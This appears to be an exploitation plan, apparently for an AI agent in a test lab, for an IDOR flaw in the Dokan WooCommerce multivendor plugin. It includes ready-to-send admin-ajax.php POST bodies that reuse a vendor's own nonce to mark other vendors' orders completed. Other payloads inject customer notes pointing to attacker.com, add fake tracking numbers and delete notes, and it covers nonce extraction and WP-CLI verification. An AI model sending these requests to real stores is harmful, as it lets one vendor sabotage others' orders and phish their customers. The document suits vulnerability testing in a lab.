Exploitation Research Plan - CVE-2026-10023

1. Vulnerability Summary

CVE-2026-10023 is a critical Insecure Direct Object Reference (IDOR) vulnerability in the Dokan: AI Powered WooCommerce Multivendor Marketplace Solution plugin (dokan-lite) up to version 5.0.3.

The vulnerability exists in several AJAX handlers that manage order data. These handlers verify a WordPress nonce to ensure the request is part of a valid user session but fail to perform an ownership check to verify if the requesting vendor actually owns the order associated with the provided order_id. Because WordPress nonces for a specific action are consistent for a user's session regardless of the specific object (order) being viewed, a vendor can generate a valid nonce on their own order dashboard and "replay" it in a request targeting an order ID belonging to a different vendor.

2. Attack Vector Analysis

• Vulnerable Endpoint: wp-admin/admin-ajax.php
• AJAX Actions (Inferred from description):
  • dokan_change_order_status
  • dokan_add_order_note
  • dokan_delete_order_note
  • dokan_add_shipping_tracking_info
  • dokan_grant_access_to_download
  • dokan_revoke_access_to_download
• Payload Parameter: order_id (The target order ID) and accompanying data (e.g., order_status, note, tracking_number).
• Authentication Required: Authenticated user with Vendor (or higher) capabilities.
• Preconditions: The attacker must have at least one order of their own (or access to the vendor dashboard) to generate the required nonce.

3. Code Flow (Inferred)

1. Entry: The vendor sends a POST request to admin-ajax.php with an action like dokan_change_order_status.
2. Nonce Verification: The handler calls check_ajax_referer( 'dokan_reviews_nonce', 'security' ) (or a similar nonce check). This succeeds because the attacker provides a nonce they legitimately generated on their own dashboard.
3. Missing Authorization: The code retrieves the order_id from $_POST.
4. Action Execution: The code proceeds to call WooCommerce functions like $order->update_status() or $order->add_order_note() directly using the user-provided order_id without checking if get_current_user_id() === $order->get_meta('_dokan_vendor_id').
5. Sink: The database is updated, or an email notification is triggered to the customer of the victim vendor.

4. Nonce Acquisition Strategy

Dokan localizes its dashboard data into a global JavaScript object. To exploit this, the attacker needs the nonce used for order actions.

1. Identify Shortcode: The Dokan dashboard is usually rendered via the [dokan-dashboard] shortcode on a specific page (commonly the /dashboard/ slug).
2. Create/Access Vendor Dashboard:
   • The agent should ensure a Vendor user is created and a dashboard page exists:
     wp post create --post_type=page --post_title="Dashboard" --post_status=publish --post_content='[dokan-dashboard]'
3. Navigate and Extract:
   • Navigate to the orders section of the dashboard: /dashboard/orders/.
   • Use browser_eval to extract the security nonce from the localized JS object.
   • Inferred JS Variable: window.dokan?.nonce or window.dokan?.order_nonce.
   • Note: Dokan often uses the key _wpnonce or security in the AJAX payload.

5. Exploitation Strategy

This plan focuses on dokan_change_order_status as the primary PoC.

Step 1: Target Identification

The attacker identifies a victim order_id (e.g., by incrementing their own Order IDs or through other reconnaissance).

Step 2: Payload Construction

• URL: http://[target]/wp-admin/admin-ajax.php
• Method: POST
• Headers: Content-Type: application/x-www-form-urlencoded
• Body:

  action=dokan_change_order_status&order_id=[VICTIM_ORDER_ID]&order_status=completed&security=[ATTACKER_NONCE]
  

Step 3: Triggering Note Injection (Alternative)

To demonstrate higher impact (Social Engineering/Phishing via Customer Emails):

• Body:

  action=dokan_add_order_note&order_id=[VICTIM_ORDER_ID]&note=Your+order+requires+verification.+Visit+http://attacker.com/&note_type=customer&security=[ATTACKER_NONCE]
  

6. Test Data Setup

1. Plugin Installation: Ensure woocommerce and dokan-lite (<= 5.0.3) are active.
2. Configure Dokan: Enable "Vendor can update order status" in Dokan settings if necessary (usually default).
3. Users:
   • vendor_victim: A vendor user.
   • vendor_attacker: A vendor user.
   • customer_user: A standard customer.
4. Orders:
   • Create a product for vendor_victim.
   • As customer_user, purchase the victim's product. Let's assume this creates Order #100.
   • Create a product for vendor_attacker.
   • As customer_user, purchase the attacker's product. Let's assume this creates Order #101.

7. Expected Results

• Success Response: The AJAX handler will typically return a JSON success message or 1.
• System State Change: Order #100 (which belongs to vendor_victim) will have its status changed to completed despite the request being made by vendor_attacker.
• Notification: The customer_user may receive a "Your order is complete" email from WooCommerce for an order the victim vendor has not yet fulfilled.

8. Verification Steps

After sending the http_request, verify the impact via WP-CLI:

1. Check Order Status:
   wp wc order get 100 --field=status
   Expected: "completed"
2. Check Order Notes (if note injection tested):
   wp wc order_note list 100 --fields=note
   Expected: Contains the attacker's malicious string.

9. Alternative Approaches

If dokan_change_order_status requires specific parameters not found in the initial trace:

• Try dokan_add_shipping_tracking_info:
  • Params: order_id=[VICTIM_ID], tracking_number=FAKE123, shipping_provider=Other, security=[NONCE].
  • This is high impact as it affects customer trust and fulfillment tracking.
• Try dokan_delete_order_note:
  • Params: order_id=[VICTIM_ID], note_id=[NOTE_ID], security=[NONCE].
  • Requires identifying a note_id (which are just WordPress comment IDs).